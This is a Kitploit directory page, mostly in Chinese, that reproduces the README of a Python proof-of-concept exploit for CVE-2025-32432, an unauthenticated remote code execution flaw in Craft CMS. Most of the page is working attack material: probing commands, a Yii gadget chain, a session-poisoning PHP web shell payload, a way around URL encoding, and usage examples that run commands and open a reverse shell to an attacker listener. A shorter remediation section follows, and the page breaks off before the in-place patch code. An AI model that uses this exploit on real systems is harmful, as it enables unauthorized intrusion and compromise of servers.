Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32432 — Python PoC,利用 CVE-2025-32432,通过 Yii DI gadget 注入实现 Craft CMS 中的未认证 RCE,具备 assetId 扫描、反向 shell 和修复指导。 | Kitploit
工具/GitHubGitHub/si13nttt/cve-2025-32432
防御工具漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试事件响应远程访问工具Payload 开发
GitHubsi13nttt/cve-2025-32432

CVE-2025-32432

Python PoC,利用 CVE-2025-32432,通过 Yii DI gadget 注入实现 Craft CMS 中的未认证 RCE,具备 assetId 扫描、反向 shell 和修复指导。

19天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2025-32432 — Craft CMS <= 5.6.16 未授权 RCE

严重程度: 严重 (CVSS 10.0) 需要认证: 无 受影响版本: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 修复版本: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


识别(如何确认目标存在漏洞)

在利用之前,确认目标运行的是存在漏洞的 Craft CMS 版本。

步骤 1 — 指纹识别 Craft CMS 版本

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

步骤 2 — 探测存在漏洞的端点(匿名访问检查)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'
  • HTTP 400 = 端点存在(Craft 正在运行),缺少 CSRF
  • HTTP 404 = 不是 Craft 或路径错误
  • HTTP 500 = gadget 已触发(assetId 有效,端点可达)

步骤 3 — 通过 assetId 扫描确认

python3 exploit.py -u http://target/cms -c "id"

如果输出包含 uid=,则确认目标存在漏洞且 RCE 已实现。


根本原因

AssetsController::actionGenerateTransform() 被声明为 allowAnonymous,使其无需认证即可访问。它将用户可控的 handle 参数直接传入 Yii::createObject():

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Yii 的 DI 容器会处理两个特殊的数组键,且没有任何允许列表:

键行为
__class实例化此类,而不是声明的类型
__construct()将这些值作为构造函数参数传入

Gadget 链:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

会话文件投毒 完成了整个闭环:PHP 将 GET 参数原样存储在 /tmp/sess_<CraftSessionId> 中。在其中植入 <?=shell_exec($_GET['cmd']);exit;?> 即可实现 RCE。


为什么现有的公开 PoC 会失败

1. URL 编码破坏了 PHP payload

根本问题: Python requests 在发送前会对 <、>、?、= 进行编码。PHP 的会话处理器存储的是百分号编码后的字节——而不是可执行的 PHP。

编码后的 payload(失效——requests 实际在网络上发送的内容)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.

未编码的 payload(修复后——monkey-patch 之后我们发送的内容)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.

修复: Monkey-patch HTTPConnectionPool._make_request——TCP 之前的最后一点——并在那里调用 urllib.parse.unquote():

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. 错误的会话 cookie 名称

标准: PHP 的默认会话 cookie 是 PHPSESSID。Craft CMS 在其应用配置中覆盖了这一点:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

这意味着磁盘上的会话文件是 /tmp/sess_<CraftSessionId>,而不是 /tmp/sess_<PHPSESSID>。

Cookie 对比

属性PHP 默认Craft CMS
Cookie 名称PHPSESSIDCraftSessionId
会话文件/tmp/sess_abc123/tmp/sess_abc123
如何读取session.cookies.get("PHPSESSID")session.cookies.get("CraftSessionId")
如果错误会发生什么返回 NoneitemFile 路径指向不存在的文件
结果利用静默失败无错误——require() 只是失败
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

你可以通过访问任意 Craft 页面后检查浏览器 DevTools,或检查 Set-Cookie 响应头来验证正确的 cookie 名称:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. 触发请求缺少 CSRF token

Craft 会对所有非匿名 POST 操作验证 CSRF token。省略 token 会导致 400 Bad Request。

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

对比表

问题日志投毒 PoC会话(错误 cookie)会话(无 CSRF)本 PoC
URL 编码不适用 (User-Agent)失效失效已修复 monkey-patched
Cookie 名称不适用失效 PHPSESSID失效 PHPSESSID已修复 CraftSessionId
触发时的 CSRF正常正常失效已修复
陈旧日志 exit;失效不适用不适用不适用
在 /cms 前缀下工作失效失效失效已修复

用法

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

修复

操作详情
升级 Craft CMS3.9.15 / 4.14.15 / 5.6.17 验证 handle 实现了 ImageTransformerInterface
升级 Yii22.0.50 阻止了 Component::__set 中的 __class 注入
WAF 规则阻止发往 /actions/assets/generate-transform 的请求体中的 __class 或 __construct()

修复 / 缓解(蓝队操作指南)

补丁表

分支存在漏洞已修复
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 – 5.6.165.6.17+

步骤 2 — 定位存在漏洞的代码

cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php

actionGenerateTransform() 方法被标记为 allowAnonymous——意味着它在认证之前执行。handle 参数被直接传入 Yii::createObject(),没有任何类允许列表,从而启用了 yii\rbac\PhpManager gadget 链。


步骤 3 — 应用修复(选择一种路径)

路径 A — 升级到已修复版本(5.6.17)

# 1. Verify the package integrity
cd /opt/vendor-packages
sha256sum -c craftcms-cms-5.6.17.tar.gz.sha256

# 2. Inspect the diff against current install
tar xzf /opt/vendor-packages/craftcms-cms-5.6.17.tar.gz -C /tmp
diff -u vendor/craftcms/cms/src/controllers/AssetsController.php \
         /tmp/craftcms-cms-5.6.17/src/controllers/AssetsController.php

# 3. Backup current version (rollback point)
cd /var/www/craftapp
cp -a vendor/craftcms/cms ~/cms-5.6.16.rollback

# 4. Swap in the patched version
rm -rf vendor/craftcms/cms
cp -a /tmp/craftcms-cms-5.6.17 vendor/craftcms/cms

# 5. Run migrations and reload
php craft up --interactive=0
sudo /opt/blue/bin/restart-app

路径 B — 就地代码补丁(如果无法升级)

编辑 vendor/craftcms/cms/src/controllers/AssetsController.php,并在 actionGenerateTransform() 内部添加以下防护作为第一条语句:

下载工具